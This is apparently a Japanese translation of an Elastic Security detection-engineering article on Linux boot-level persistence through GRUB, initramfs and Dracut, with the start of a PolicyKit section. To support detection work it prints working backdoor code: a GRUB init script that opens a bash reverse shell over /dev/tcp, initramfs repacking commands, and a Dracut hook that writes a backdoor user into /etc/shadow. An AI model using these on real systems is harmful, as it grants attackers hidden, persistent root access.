Ruben Groenewoud

Linux検出エンジニアリング - Linux永続性の最終回

以前の研究に基づき、この記事では創造的で複雑、または珍しい永続化手法について説明します。

読み時間 48分セキュリティ調査
Linux検出エンジニアリング - Linux永続性のグランドフィナーレ

はじめに

「Linux永続性検出エンジニアリング」シリーズの最終回へようこそ!この第5部で最終回の記事では、Linuxの永続性の世界をさらに深く掘り下げていきます。以前の出版物で探求された基本的な概念と技術に基づき、この記事では、より難解で創造的、かつ複雑なバックドアと永続化メカニズムについて論じます。

以前の記事を見逃した場合でも、主要な永続化の概念を探求することで基礎を築いています。あなたはここでそれらに追いつくことができます:

この記事では、以下を紹介することで、これらの永続化メカニズムに関する洞察を提供します。

  • それぞれの仕組み(理論)
  • それぞれの設定方法(実践)
  • それらを検出する方法 (SIEM とエンドポイント ルール)
  • 彼らを狩る方法(ES|QL と OSQuery の参照ハント)

このプロセスをさらに魅力的なものにするために、Elastic SecurityのRuben Groenewoudが設計したカスタムビルドのLinux永続化ツールである PANIXを活用します。PANIXを使用すると、Linuxの永続性設定の合理化と実験が可能になり、検出の機会を簡単に特定してテストできます。

このシリーズを読み終わった頃には、Linuxの永続化技術に関する一般的および希少な知識を得ることができ、攻撃者の一般的および高度な能力の検出を効果的に設計する方法を理解しているでしょう。Linuxの永続性に関する謎を解く最後の鍵を解明する準備はできましたか?では始めましょう!

セットアップノート

この記事で説明した永続化メカニズムを検出する準備ができていることを確認するには、 事前に作成された検出ルールを有効にして更新することが重要です。カスタムビルドのルールセットを使用していて、事前に作成されたルールをすべて使用していない場合は、ルールをテストしてギャップを埋める絶好の機会です。これで、開始する準備が整いました。

T1542 - プリOSブート:GRUBブートローダー

GRUB (GRand Unified Bootloader)は、Linuxシステムで広く使用されているブートローダーで、カーネルのロードとオペレーティングシステムの初期化を担当します。GRUBは、さまざまな構成をサポートする柔軟なフレームワークを提供し、ブートプロセスを管理するための強力なツールです。これは、システムファームウェア(BIOS/UEFI)とオペレーティングシステムの間の仲介者として機能します。Linuxシステムの電源が入ると、通常、次のシーケンスが実行されます。

  1. システムファームウェア

  • BIOSまたはUEFIは、ハードウェアコンポーネント(例:CPU、RAM、ストレージデバイス)を初期化し、POST(Power-On Self-Test)を実行します。
  • 次に、指定されたブートデバイスのブートローダーを見つけます(通常はブート優先順位の設定に基づく)。
  1. GRUBブートローダー

  • GRUBはメモリにロードされます。
  • メニューが表示され(有効な場合)、ユーザーはオペレーティングシステム、カーネルバージョン、またはリカバリーモードを選択できます。
  • GRUB はカーネルイメージ (vmlinuz) と initramfs/initrd イメージ (initrd.img) をメモリにロードします。initramfs/initrd イメージは、初期システムセットアップ(例:ファイルシステムやハードウェアのカーネルモジュールのロード)に使用される一時的なルートファイルシステムです。
  • GRUB はカーネルパラメータ(例:ルートファイルシステムの場所、ブートオプション)を渡し、カーネルに制御を引き渡します。
  1. カーネルの実行

  • カーネルが展開され、初期化されます。システムハードウェアの検出と初期化を開始します。
  • カーネルはカーネルパラメータで指定されたルートファイルシステムをマウントします。
  • initシステム(従来はinit、現在は多くの場合systemd)を起動します。これは、ユーザー空間を初期化して管理する最初のプロセス(PID 1)です。
  • initシステムは、サービスを設定し、ファイルシステムをマウントし、ユーザーセッションを開始します。

GRUBの構成システムは柔軟かつモジュール式であり、管理者はブートローダーの動作、カーネルパラメーター、メニューエントリーを定義できます。すべての主要なディストリビューションは、GRUBの主要な設定ファイルとして/etc/default/grubを使用しています。このファイルには、デフォルトのカーネルパラメータ、ブートタイムアウト、グラフィカル設定などの高レベルオプションが含まれています。例:

GRUB_TIMEOUT=5                       # Timeout in seconds for the GRUB menu
GRUB_DEFAULT=0                       # Default menu entry to boot
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash resume=/dev/sda2" # Common kernel parameters
GRUB_CMDLINE_LINUX="init=/bin/bash audit=1" # Additional kernel parameters

柔軟性を高めるために、GRUBはスクリプトディレクトリを通じてモジュール式の構成アプローチをサポートしています。これらは通常、/etc/default/grub.d/ (Ubuntu/Debian) および /etc/grub.d/ (Fedora/CentOS/RHEL) に配置されています。これらのディレクトリ内のスクリプトは、更新プロセス中に最終的な構成に統合されます。

起動前に、GRUBブートローダーをコンパイルする必要があります。コンパイルされたGRUB構成ファイルは、実行時にブートローダーによって使用される最終的な出力です。/etc/default/grub の設定と /etc/grub.d/ のモジュラースクリプト(他のディストリビューションの場合は同様のディレクトリとファイル)から生成されます。この構成は、BIOSシステムの場合は/boot/grub/grub.cfgに、UEFIシステムの場合は/boot/efi/EFI/<distro>/grub.cfgに格納されます。

UbuntuおよびDebianベースのシステムでは、GRUB構成の生成にupdate-grub コマンドが使用されます。Fedora、CentOS、RHELシステムの場合、同等のコマンドはgrub2-mkconfigです。構成が生成されると、次のイベントが発生します。

  1. スクリプト実行:
  • /etc/default/grub.d/または/etc/grub.d/のすべてのモジュラースクリプトは、数値順に実行されます。
  1. 設定アグリゲーション
  • /etc/default/grubからのパラメータとモジュラースクリプトが結合されます。
  1. メニューエントリーの作成:
  • GRUB は、インストール済みのカーネルとオペレーティングシステムを動的に検出し、対応するメニューエントリを作成します。
  1. 最終コンパイル:
  • 結合された構成は、/boot/grub/grub.cfg(またはUEFIの同等のパス)に書き込まれ、次回の起動時に使用できる準備が整います。

攻撃者は、GRUBの柔軟性とブートプロセスの初期実行を悪用して永続化を確立することができます。GRUB構成ファイルを変更することにより、オペレーティングシステムが完全に初期化される前に、ルート権限で実行される悪意のあるパラメーターやスクリプトを挿入できます。攻撃者は以下のことを実行できます。

  1. 悪意のあるカーネルパラメータを注入:
  • /etc/default/grubinit=/payload.shのようなパラメータを追加するか、起動時にGRUBメニューに直接追加すると、カーネルはデフォルトのinitシステムではなく、悪意のあるスクリプトを実行します。
  1. メニューエントリの変更:
  • 攻撃者は、/etc/grub.d/のメニューエントリを変更し、許可されていないコマンドを含めたり、悪意のあるカーネルを指すようにすることができます。
  1. 非表示のブートエントリを作成:
  • GRUB メニューに表示されない悪意のある構成を持つブートエントリを追加すること。

GRUBはシステムの通常のEDRや他のソリューションメカニズムが有効になる前に動作するため、この手法は特に検出が困難です。さらに、これらの攻撃に関する知識の不足により、悪意のあるパラメータやエントリが正当な構成と似ているように見えることがあり、手動検査で見落としが発生しやすく、検出が困難になります。

GRUBの操作は、MITRE ATT&CKフレームワークのT1542: Pre-OS Bootに分類されます。この手法には、オペレーティングシステムが初期化される前に制御を得るためにブートローダーを標的とする攻撃が含まれています。その重要性にもかかわらず、現在のところGRUB固有の攻撃に特化したサブテクニックは存在しません。

次のセクションでは、攻撃者が悪意のあるパラメータを挿入し、ブートローダーの設定を変更することで、GRUBを通じて永続性を確立する方法を探ります。

T1542を介した永続化 - OS起動前: GRUBブートローダー

このセクションでは、GRUBの永続性に関連する技術的な詳細を見ていきます。これを達成するために、カスタムビルドのLinux永続化ツールであるPANIXからsetup_grub.shモジュールを活用します。この技術をシミュレーションすることで、潜在的な検出の機会を研究できるようになります。

GRUBモジュールは、実行中のLinuxディストリビューションを検出し、変更すべき正しいファイルを決定し、永続性を確立するために必要なサポートツールを特定します。ブートプロセス内で利用可能な環境が制限されているため、このモジュール内のPANIXにはFedoraベースのオペレーティングシステムとの互換性が組み込まれていません。PANIXはペイロードがすでに挿入されているかどうかを判断し、そうでない場合は、init=/grub-panix.sh パラメータを含むカスタム構成 (cfg) ファイルを作成します。GRUB構成ファイルは、モジュールの数値接頭辞に基づいて昇順でロードされます。挿入されたモジュールが最後にロードされることを保証するために、優先順位は99に設定されています。

local grub_custom_dir="/etc/default/grub.d"
local grub_custom_file="${grub_custom_dir}/99-panix.cfg"

echo "[*] Creating custom GRUB configuration file: $grub_custom_file"
cat <<EOF > "$grub_custom_file"
# Panix GRUB persistence configuration
GRUB_CMDLINE_LINUX_DEFAULT="$GRUB_CMDLINE_LINUX_DEFAULT init=/grub-panix.sh"
EOF

この構成ファイルが配置されると、/grub-panix.sh スクリプトが作成され、これにはネットワークが利用可能になるように一定時間スリープするペイロードが含まれています。その後、リバースシェルのペイロードを実行し、メインプロセスから切り離されてハングアップを防ぎます。

payload="( sleep 10; nohup setsid bash -c 'bash -i >& /dev/tcp/${ip}/${port} 0>&1' & disown ) &"

local init_script="/grub-panix.sh"
echo "[*] Creating backdoor init script at: $init_script"
cat <<EOF > "$init_script"
#!/bin/bash
# Panix GRUB Persistence Backdoor (Ubuntu/Debian)
(
	echo "[*] Panix backdoor payload will execute after 10 seconds delay."
	${payload}
	echo "[+] Panix payload executed."
) &
exec /sbin/init
EOF

これらのファイルが配置された後、update-grubを実行してGRUBを更新し、埋め込まれたバックドアモジュールを含めるだけです。

では、このプロセスが、検出エンジニアリングの視点からどのように見えるかについて説明します。次のコマンドを使用してPANIXモジュールを実行します。

> sudo ./panix.sh --grub --default --ip 192.168.1.100 --port 2014
[*] Creating backdoor init script at: /grub-panix.sh
[+] Backdoor init script created and made executable.
[*] Creating custom GRUB configuration file: /etc/default/grub.d/99-panix.cfg
[+] Custom GRUB configuration file created.
[*] Backing up /etc/default/grub to /etc/default/grub.bak...
[+] Backup created at /etc/default/grub.bak
[*] Running 'update-grub' to apply changes...
Sourcing file `/etc/default/grub'
Sourcing file `/etc/default/grub.d/99-panix.cfg'
Sourcing file `/etc/default/grub.d/init-select.cfg'
Generating grub configuration file ...
[+] GRUB configuration updated. Reboot to activate the payload.

モジュールを実行してマシンを再起動すると、Kibanaで次のドキュメントを観察できます。

PANIXを実行すると、/etc/default/grub のバックアップ、新しいモジュラーGRUB構成 /etc/default/grub.d/99-panix.cfg、およびバックドアペイロード (/grub-panix.sh) が作成されていることが確認できます。バックドアに必要な実行権限を付与した後、GRUBはupdate-grub実行ファイルを通じて更新され、バックドアの準備が整います。再起動時に、/grub-panix.shinitによって実行されます。これはほとんどの最新のオペレーティングシステムにおいてsystemdであり、/grub-panix.shnohupsetsidbashのリバースシェルチェーンが正常に実行されます。event.actionの値がalready-runningである理由は、Elastic Defendの初期化前に、ブートプロセス中にペイロードが実行されるためです。実行のブート段階に応じて、Elastic Defendはこのevent.actionを使用して見逃されたイベントをキャプチャし、アクティビティを検出できるようになります。

カバレッジを見てみましょう。

GRUBブートローダーの永続性に対応する検出およびエンドポイントルール

PANIX によって行われた変更を元に戻すには、次の revert コマンドを実行します。

> ./panix.sh --revert grub

[*] Reverting GRUB persistence modifications...
[*] Restoring backup of /etc/default/grub from /etc/default/grub.bak...
[+] /etc/default/grub restored.
[*] Removing /etc/default/grub.d/99-panix.cfg...
[+] /etc/default/grub.d/99-panix.cfg removed.
[*] /grub-panix.sh not found; nothing to remove.
[*] Updating GRUB configuration...
[...]
[+] GRUB configuration updated.
[+] GRUB persistence reverted successfully.

T1542のハンティング - OS起動前: GRUBブートローダー

検出に依存するだけでなく、特にタイミングや環境の制約によりイベントが見逃される可能性があるこのような永続的なメカニズムの場合、脅威ハンティングをワークフローに組み込むことが重要です。この記事では、GRUB ブートローダーの永続性に関する利用可能なハントが記載されています。ただし、脅威ハンティングの基本に関する詳細は、「Linux検出エンジニアリング - 永続化メカニズム入門」の「 T1053 - スケジュールされたタスク/ジョブのハンティング」セクションで概説されています。さらに、検出ルールリポジトリ、特にLinux ハンティングサブディレクトリで説明や参照を確認することもできます。

GRUBブートローダーの永続性を ES|QLOSQuery を通じて追跡し、GRUB設定に関連するファイルの作成、変更、および実行に焦点を当てることができます。このアプローチには、次の項目の監視が含まれます。

  1. GRUB 設定ファイルの作成および/または変更:GRUB設定ファイル、モジュール、コンパイルされたGRUBバイナリなどの重要なファイルの変更を追跡します。これらのファイルはブートローダーの設定に不可欠であり、一般的にGRUBベースの永続化のターゲットとなります。
  2. GRUB関連コマンドの実行: grub-mkconfiggrub2-mkconfigupdate-grub などのコマンドを監視します。これらは、GRUB設定の変更やブート構成の再生成の試行を示している可能性があります。
  3. GRUBファイルのメタデータ解析:GRUB構成ファイルの所有者、アクセス時間、最近の変更を特定し、不正な変更を検出します。
  4. カーネルとブートの整合性監視: securebootplatform_infokernel_infokernel_keysのようなES|QLおよびOSQueryテーブルを使用して、重要なカーネルおよびブート関連データを追跡し、システムのブート整合性とカーネル構成に関する洞察を提供します。

GRUB Bootloaderを介した永続化および一般的なカーネル操作のハンティングルールを、上記のカスタマイズされた検出クエリと組み合わせることで、アナリストはT1542を効果的に特定し、対応することができます。

T1542- OS 起動前: initramfs

Initramfs (初期RAMファイルシステム) は、Linuxのブートプロセスにおいて重要な役割を果たし、ブートローダーによってメモリにロードされる一時的なルートファイルシステムとして機能します。これにより、カーネルはハードウェアを初期化し、必要なモジュールをロードし、実際のルートファイルシステムをマウントするためにシステムを準備できます。

前のセクションで学んだように、ブートローダー(例: GRUB)はカーネル(vmlinuz)とinitramfsイメージ(initrd.img)の2つの主要なコンポーネントをロードします。initrd.imgは圧縮ファイルシステムで、通常/boot/に格納され、必須のドライバやバイナリ(例:busybox)、ライブラリ、そして初期システム起動用のスクリプトを含んでいます。gzip、LZ4、xz などの形式でパックされ、/bin/lib/etc などのディレクトリを含む最小限のLinuxファイルシステムに抽出されます。実際のルートファイルシステムがマウントされると、制御はプライマリinitシステム(例: systemd)にパスされ、initramfsは破棄されます。

InitramfsはLinuxのブートプロセスで中心的な役割を果たしますが、単独では機能しません。/boot/ ディレクトリには、ブートローダーとカーネルがシームレスに機能するための重要なファイルが格納されています。これらのファイルには、カーネルバイナリ、initramfsイメージ、およびシステム初期化に必要な構成データが含まれています。これらの重要なコンポーネントの内容は以下の通りです。

  • vmlinuz-<version>: 圧縮されたLinuxカーネルバイナリ。
  • vmlinuz: 圧縮されたLinuxカーネルバイナリへのシンボリックリンク。
  • initrd.img-<version>またはinitramfs.img-<version>: 一時的なファイルシステムを含むinitramfsイメージ。
  • initrd.imgまたはinitramfs.img: initramfsイメージへのシンボリックリンク。
  • config-<version>: 特定のカーネルバージョンの構成オプション。
  • System.マップ-<version>: デバッグに使用されるカーネルシンボルマップ。
  • grub/: ブートローダーの構成ファイル。

GRUBと同様に、initramfsはブートプロセスの初期段階で実行されるため、ステルス性のある永続性を狙う攻撃者にとって興味深い標的となります。悪意のあるスクリプトを追加したり初期化ロジックを変更したりするなど、そのコンテンツを変更することで、システムが完全に初期化される前に悪意のあるコードが実行可能になります。

現在、initramfsに関する特定のサブセクションはありませんが、ブートプロセスの変更はMITRE ATT&CKフレームワークのT1542Pre-OS Bootに分類されます。

次のセクションでは、攻撃者がinitramfsをどのように操作するか、永続化メカニズムを埋め込むために使用する可能性のある方法、そしてこれらの脅威を効果的に検出し軽減する方法を探ります。

T1542 - Initramfs: 手動での変更

initramfsを変更して永続性を確立する手法については、Breachlabs.ioで公開された「Initramfs永続性手法」ブログで説明されています。本質的に、initramfsを変更するには、圧縮されたファイルシステムを展開し、変更を加え、永続性メカニズムを組み込みながら機能を保守するためにイメージを再パックする必要があります。このプロセスは本質的に悪意があるわけではありません。管理者はinitramfsを変更してカスタムドライバーや設定を追加することがあります。しかし、攻撃者はこの柔軟性を悪用し、プライマリオペレーティングシステムが完全にロードされる前に悪意のあるアクションを実行することができます。

init スクリプトにコードを追加してホストファイルシステムを操作する例としては、バックドアユーザーの作成、システムファイルやサービスの変更、再起動後も持続するスクリプトの挿入などがあります。

initramfsを操作するためのヘルパーツールはありますが、binwalkのような低レベルのユーティリティを使用して手動で変更することも可能です。Binwalkは圧縮アーカイブの分析と抽出に特に有用であり、initramfsイメージの検査と分解に適した選択肢です。

次のセクションでは、手動でのinitramfs変更プロセスについて詳細に説明します。

T1542を介した永続化 - Initramfs: 手動変更

このセクションでは、起動プロセス中にinitramfsを「手動で」操作し、システムにバックドアを追加します。これを行うには、PANIXのsetup_initramfs.shモジュールを使用します。ここで何が起こっているかを確実に理解するために、モジュールの最も重要な側面を分析してみましょう。

モジュールを実行すると、initrd.img ファイルがバックアップされます。このような手法を実装すると、起動プロセスが中断される可能性があるため、バックアップを用意しておくことを常にお勧めします。次に、一時ディレクトリが作成され、initramfsイメージがそこにコピーされます。binwalkを通じて、initrd.img内のさまざまな埋め込みアーカイブ(例えば、CPUマイクロコードcpioアーカイブや、ミニLinuxファイルシステムを含むgzippedcpioアーカイブ)を識別し、マップすることができます。文字列TRAILER!!!cpioアーカイブの終わりを示し、次のアーカイブと区別できるように、1つのアーカイブが終了する正確な位置を知らせてくれます。言い換えれば、binwalkはファイルを分割する場所を示し、TRAILER!!!マーカーは、initramfsの残りの部分を抽出して再構築する前にマイクロコードcpioの境界を確認します。さらなる詳細については、原作者の「Initramfs永続性テクニック」のブログをご覧ください。

# Use binwalk to determine the trailer address.
ADDRESS=$(binwalk initrd.img | grep TRAILER | tail -1 | awk '{print $1}')
if [[ -z "$ADDRESS" ]]; then
	echo "Error: Could not determine trailer address using binwalk."
	exit 1
fi
echo "[*] Trailer address: $ADDRESS"

このセクションでは、変更を行うためにinitrd.img ファイルの一部を抽出して解凍します。ddコマンドは、最初のcpioアーカイブ(マイクロコード)をTRAILER!!!でマークされたバイトオフセットまで抽出し、後で再組み立てるためにinitrd.img-beginとして保存します。次に、unmkinitramfsinitrd.img から残りのファイルシステムをディレクトリ (initrd_extracted) に展開し、変更を可能にします。

dd if=initrd.img of=initrd.img-begin count=$ADDRESS bs=1 2>/dev/null || { echo "Error: dd failed (begin)"; exit 1; }

unmkinitramfs initrd.img initrd_extracted || { echo "Error: unmkinitramfs failed"; exit 1; }

ファイルシステムが抽出された後、永続性を達成するために変更することができます。このプロセスは、Linuxシステムの起動時に初期化を担当するinitファイルの操作に焦点を当てています。このコードは、次の処理を実行します。

  1. ルートファイルシステムを書き込み可能としてマウントしてください。
  2. 次の2つの手順に従って、sudo権限を持つユーザーを新規作成してみます。
    1. 指定されたユーザーが既に存在するかどうかを確認し、存在する場合は中止します。
    2. ユーザーが存在しない場合は、ユーザーを/etc/shadow/etc/passwd、および/etc/groupに手動で追加します。

このペイロードは、希望する任意のペイロードに変更できます。私たちが作業している環境は非常に限られているため、利用可能なツールのみを使用する必要があります。

正しいペイロードを追加した後、initramfsを再パックすることができます。スクリプトは以下を使用します。

find . | sort | cpio -R 0:0 -o -H newc | gzip > ../../initrd.img-end

initrd.img-endにファイルシステムを再パックします。すべてのファイルがroot:root-R 0:0)によって所有され、initramfsと互換性のあるnewc形式が使用されることを確実にします。

以前に抽出されたマイクロコードアーカイブ(initrd.img-begin)は、catを使用して新規作成されたアーカイブ(initrd.img-end)と連結し、最終的なinitrd.img-newを生成します。

cat initrd.img-begin initrd.img-end > initrd.img-new

新しいinitrd.img-newは元の initramfs ファイルを置き換え、システムが次回の起動時に変更されたバージョンを使用するようにします。

では、このプロセスを理解したところで、モジュールを実行して何が起こるかを確認することができます。注: すべてのLinuxディストリビューションがcpioアーカイブの終端をTRAILER!!!文字列で指定するわけではないため、すべてのシステムに対してこの自動化された手法が機能するわけではありません。では続行しましょう!

> sudo ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes
[*] Will inject user 'panix' with hashed password '<hash>' into the initramfs.
[*] Preparing Binwalk-based initramfs persistence...
[*] Temporary directory: /tmp/initramfs.neg1v5
[+] Backup created: /boot/initrd.img-5.15.0-130-generic.bak
[*] Trailer address: 8057008
[+] Binwalk-based initramfs persistence applied. New initramfs installed.
[+] setup_initramfs module completed successfully.
[!] Ensure you have a recent snapshot of your system before proceeding.

Kibanaで生成されるイベントを見てみましょう。

実行ログを確認すると、opensslpasswdハッシュを生成するために使用されていることがわかります。その後、initramfsイメージが一時ディレクトリにコピーされ、binwalkを利用してファイルシステムのアドレスを特定します。正しいセクションが見つかると、unmkinitramfsが呼び出されてファイルシステムが抽出され、その後ペイロードがinitファイルに追加されます。次に、ファイルシステムはgzipcpioを通じて再パックされ、マイクロコード、ファイルシステム、およびその他のセクションを含む完全に動作する initramfs イメージに統合されます。このイメージは/boot/ディレクトリにコピーされ、現在アクティブなinitramfsイメージを上書きします。再起動後、ルート権限を持つ新しいpanixユーザーが利用可能です。

カバレッジを見てみましょう。

手動のinitramfs永続化に対応する検出およびエンドポイントルール

PANIX によって行われた変更を元に戻すには、次の revert コマンドを実行します。

> ./panix.sh --revert initramfs

[!] Restoring initramfs from backup: $initrd_backup...
[+] Initramfs restored successfully.
[!] Rebuilding initramfs to remove modifications...
[+] Initramfs rebuilt successfully.
[!] Cleaning up temporary files...
[+] Temporary files cleaned up.
[+] Initramfs persistence reverted successfully.

T1542のハンティング - Initramfs: 手動による変更

ES|QLとOSQueryを使用して、binwalkのようなツールの使用に関連する疑わしい活動に焦点を当てることで、この手法を特定することができます。この手法は通常、initramfsファイルを抽出、分析、変更し、悪意のあるコンポーネントやスクリプトをブートプロセスに注入することを含みます。このアプローチには、次の項目の監視が含まれます。

  1. 疑わしい引数を使用したBinwalkの実行: ファイルを抽出または分析するためにbinwalkが実行されるプロセスを追跡します。これにより、initramfsの内容を検査または改ざんしようとする試みが明らかになる可能性があります。
  2. Initramfsファイルの作成および/または変更: initramfsファイル (/boot/initrd.img) への変更を追跡します。
  3. 一般的なカーネル操作のインジケータsecurebootkernel_info/boot/ 内のファイル変更を監視するクエリを活用して、カーネルやブートローダー操作のより広範な兆候を検出します。これらの兆候は、initramfsの悪用と重複する可能性があります。

Initramfs経由の永続性一般的なカーネル操作のハンティングルールを、上記のカスタマイズされた検出クエリと組み合わせることで、アナリストはT1542を効果的に特定し、対応することができます。

T1542 - Initramfs: Dracutによる変更

Dracutは、ほとんどのLinuxシステムでinitramfsを管理するための多目的ツールです。initramfsの分解と再構築を必要とする手動の方法とは異なり、Dracutは構造化されたモジュール式のアプローチを提供します。また、initramfsイメージの作成、変更、再生成を簡素化し、カスタム機能を追加するための堅牢なフレームワークを提供します。システムのニーズに合わせて最小限のLinux環境を組み立てることで、initramfsイメージを生成します。モジュール式の設計により、必要なドライバー、ライブラリ、スクリプトのみが含まれることが保証されます。

Dracut は、スクリプト、設定ファイル、依存関係を含む自己完結型のディレクトリであるモジュールを通じて動作します。これらのモジュールは、initramfs の動作と内容を定義します。たとえば、特定のハードウェア用のドライバー、暗号化ファイルシステムを処理するツール、または起動前の操作用カスタムロジックが含まれることがあります。

Dracutモジュールは通常、次の場所に格納されます。

  • /usr/lib/dracut/modules.d/
  • /lib/dracut/modules.d/

各モジュールはXXがロードの順序を定義する2桁の数字で、nameがモジュール名(例:01base95udev)であるXXname形式で名前が付けられたディレクトリに存在します。

モジュールをinitramfsに統合する方法を定義する主要なスクリプトはmodule-setup.shと呼ばれます。これは含めるファイルと必要な依存関係を指定します。こちらがmodule-setups.shスクリプトの基本的な例です。

#!/bin/bash

check() {
  return 0 
}

depends() {
  echo "base"
}

install() {
  inst_hook cmdline 30 "$moddir/my_custom_script.sh"
  inst_simple /path/to/needed/binary
}
  • check(): モジュールを含めるべきかどうかを決定します。 0 を返すことで、モジュールが常に含まれることが保証されます。
  • depends(): このモジュールが依存する他のモジュールを指定します(例: base, udev)。
  • install(): 含めるファイルやスクリプトを定義します。inst_hookinst_simpleのような関数はプロセスを簡素化します。

Dracutを使用すると、攻撃者や管理者はinitramfsを簡単に変更し、カスタムスクリプトや機能を含めることができます。たとえば、悪意のある行為者は次のような行動を取る場合があります。

  • 起動時にコマンドを実行するスクリプトを追加してください。
  • ルートファイルシステムがマウントされる前に、既存のモジュールを変更してシステムの動作を変更する。

次のセクションでは、initramfsを変更するためのカスタムDracutモジュールの作成手順について説明します。

T1542を介した永続化 - Initramfs: Dracutによる変更

少し歩いたから走ることは、常にすばらしいアイデアです。前のセクションでは、手動でinitramfsを操作する方法を学びましたが、これは設定が難しい場合があります。基本を理解したところで、多くのLinuxシステムでデフォルトで使用可能なDracutというヘルパーツールを使うと、作業をより簡単に続けることができます。では、もう一度setup_initramfs.shモジュールに目を向けますが、今回はDracutセクションに焦点を当てます。

このPANIXモジュールは、/usr/lib/dracut/modules.d/99panixに新しいDracutモジュールディレクトリを作成し、次の内容でmodule-setup.shファイルを作成します。

#!/bin/bash
check()  { return 0; }
depends() { return 0; }
install() {
	inst_hook pre-pivot 99 "$moddir/backdoor-user.sh"
}

このスクリプトは、Dracutを使用してinitramfsが構築される際に、カスタムスクリプト(backdoor-user.sh)が埋め込まれ、起動時のプリピボット段階で実行されるように設定されます。ピボット前の段階でスクリプトを実行すると、制御がメインOSに引き渡される前にスクリプトが実行され、実際のルートファイルシステムに変更を加えることができます。

module-setup.shの実行権限を付与した後、モジュールはbackdoor-user.shファイルの作成を続行します。完全なコンテンツを表示するには、モジュールのソースコードを確認してください。以下が重要な部分です。

#!/bin/sh

# Remount the real root if it's read-only
mount -o remount,rw /sysroot 2>/dev/null || {
	echo "[dracut] Could not remount /sysroot as RW. Exiting."
	exit 1
}
[...]

if check_user_exists "${username}" /sysroot/etc/shadow; then
    echo "[dracut] User '${username}' already exists in /etc/shadow."
else
    echo "${username}:${escaped_hash}:19000:0:99999:7:::" >> /sysroot/etc/shadow
    echo "[dracut] Added '${username}' to /etc/shadow."
fi

[...]

まず、スクリプトはルートファイルシステム (/sysroot) が書き込み可能であることを確認します。このチェックが完了すると、スクリプトは/etc/shadow/etc/passwd、および/etc/groupファイルを手動で変更して新しいユーザーを追加し続けます。最も重要な点は、これらのスクリプトが組み込みのシェルユーティリティに依存していることであり、grepsed などのユーティリティはこの環境では利用できないということです。スクリプトを記述した後、実行権限が付与され、準備が整います。

最後に、現在アクティブなカーネルバージョンのinitramfsを再構築するためにDracutが呼び出されます。

dracut --force /boot/initrd.img-$(uname -r) $(uname -r)

このステップが完了すると、変更されたinitramfsが有効になり、マシンを再起動するとbackdoor-user.shスクリプトが実行されます。

いつものように、まずスナップショットを取得し、次にモジュールを実行します。

> sudo ./panix.sh --initramfs --dracut --username panix --password secret --snapshot yes
[!] Will inject user 'panix' with hashed password <hash> into the initramfs.
[!] Preparing Dracut-based initramfs persistence...
[+] Created dracut module setup script at /usr/lib/dracut/modules.d/99panix/module-setup.sh
[+] Created dracut helper script at /usr/lib/dracut/modules.d/99panix/backdoor-user.sh
[*] Rebuilding initramfs with dracut...
[...]
dracut: *** Including module: panix ***
[...]
[+] Dracut rebuild complete.
[+] setup_initramfs module completed successfully.
[!] Ensure you have a recent snapshot/backup of your system before proceeding.

そして、Discoverで利用可能なドキュメントを確認します。

実行時に、opensslを使用してsecretのパスワードハッシュが作成されます。その後、ディレクトリ構造 /usr/lib/dracut/modules.d/99panix が作成され、module-setup.shbackdoor-user.sh のスクリプトが作成され、実行権限が付与されます。initramfsの再生成が完了すると、バックドアが仕掛けられ、再起動時に有効になります。

カバレッジを見てみましょう。

dracut initramfsの永続家に対応する検出およびエンドポイントルール

PANIX によって行われた変更を元に戻すには、次の revert コマンドを実行します。

> ./panix.sh --revert initramfs

[-] No backup initramfs found at /boot/initrd.img-5.15.0-130-generic.bak. Skipping restore.
[!] Removing custom dracut module directory: /usr/lib/dracut/modules.d/99panix...
[+] Custom dracut module directory removed.
[!] Rebuilding initramfs to remove modifications...
[...]
[+] Initramfs rebuilt successfully.
[!] Cleaning up temporary files...
[+] Temporary files cleaned up.
[+] Initramfs persistence reverted successfully.

T1542のハンティング - Initramfs: Dracutによる変更

ES|QLとOSQueryを使用して、Dracutのようなツールの使用に関連する疑わしい活動に焦点を当てることで、この手法を特定することができます。このアプローチには、次の項目の監視が含まれます。

  1. 不審な引数を使ったDracutの実行:特に非標準的な引数を使用してinitramfsファイルを再生成または変更するためにDracut 実行されるプロセスを追跡します。これは、initramfsを変更しようとする不正な試みを識別するのに役立ちます。
  2. Dracutモジュールの作成および/または変更: カスタムおよびシステム全体のDracutモジュールを格納する/lib/dracut/modules.d/および/usr/lib/dracut/modules.d/内の変更を監視します。ここでの不正な変更は、悪意のある機能を持続させようとする試みを示している可能性があります。
  3. 一般的なカーネル操作インジケーター: securebootkernel_info、および/boot/内のファイル変更を監視するクエリを使用して、Initramfsの悪用に関連する可能性のあるカーネルおよびブートローダー操作のより広範な兆候を検出します。

Initramfs経由の永続性一般的なカーネル操作のハンティングルールを、上記のカスタマイズされた検出クエリと組み合わせることで、T1542を効果的に特定し、対応することができます。

T1543 - システムプロセスの作成または変更: PolicyKit

PolicyKit (またはPolkit) は、Linuxシステムにおける特権アクションを管理するための認可フレームワークを提供するシステムサービスです。これにより、システム全体の権限をきめ細かく制御でき、非特権プロセスが特権プロセスと安全に対話することが可能になります。システムサービスとユーザーの間で仲介役として機能するPolkitは、ユーザーが特定のアクションを実行する権限を持っているかどうかを判断します。たとえば、完全なsudo権限を必要とせずに、ユーザーがネットワークサービスを再起動したり、ソフトウェアをインストールしたりできるかどうかを管理します。

Polkit認証は、ルール、アクション、認証ポリシーによって管理されています。

  • アクション: XMLファイル (.policy) で定義されており、org.freedesktop.systemd1.manage-unitsなど、Polkitが管理できる操作を指定します。
  • ルール: JavaScript に似たファイル (.rules) は、特定のアクションに対する承認の付与方法を決定します。ユーザーグループ、環境変数、またはその他の条件を確認することができます。
  • 認可ポリシー.pkla ファイルは、アクションに対するデフォルトまたはユーザー/グループごとの認可を設定し、認証が必要かどうかを決定します。

Polkitが使用する構成ファイルは、システムに存在するPolkitのバージョンと有効なLinuxディストリビューションに応じて、いくつかの異なる場所に存在します。以下は、知っておくべき主要な場所です。

  • アクション定義:
    • /usr/share/polkit-1/actions/
  • ルール定義:
    • /etc/polkit-1/rules.d/
    • /usr/share/polkit-1/rules.d/
  • 認証定義:
    • /etc/polkit-1/localauthority/
    • /var/lib/polkit-1/localauthority/

Polkit .rulesファイルは、特定のアクションを許可または拒否するロジックを定義します。これらのファイルは、ユーザーまたはプロセスがアクションを実行できるかどうかを柔軟に判断することを可能にします。以下に簡単な例を示します。

polkit.addRule(function(action, subject) {
    if (action.id == "org.freedesktop.systemd1.manage-units" &&
        subject.isInGroup("servicemanagers")) {
        return polkit.Result.YES;
    }
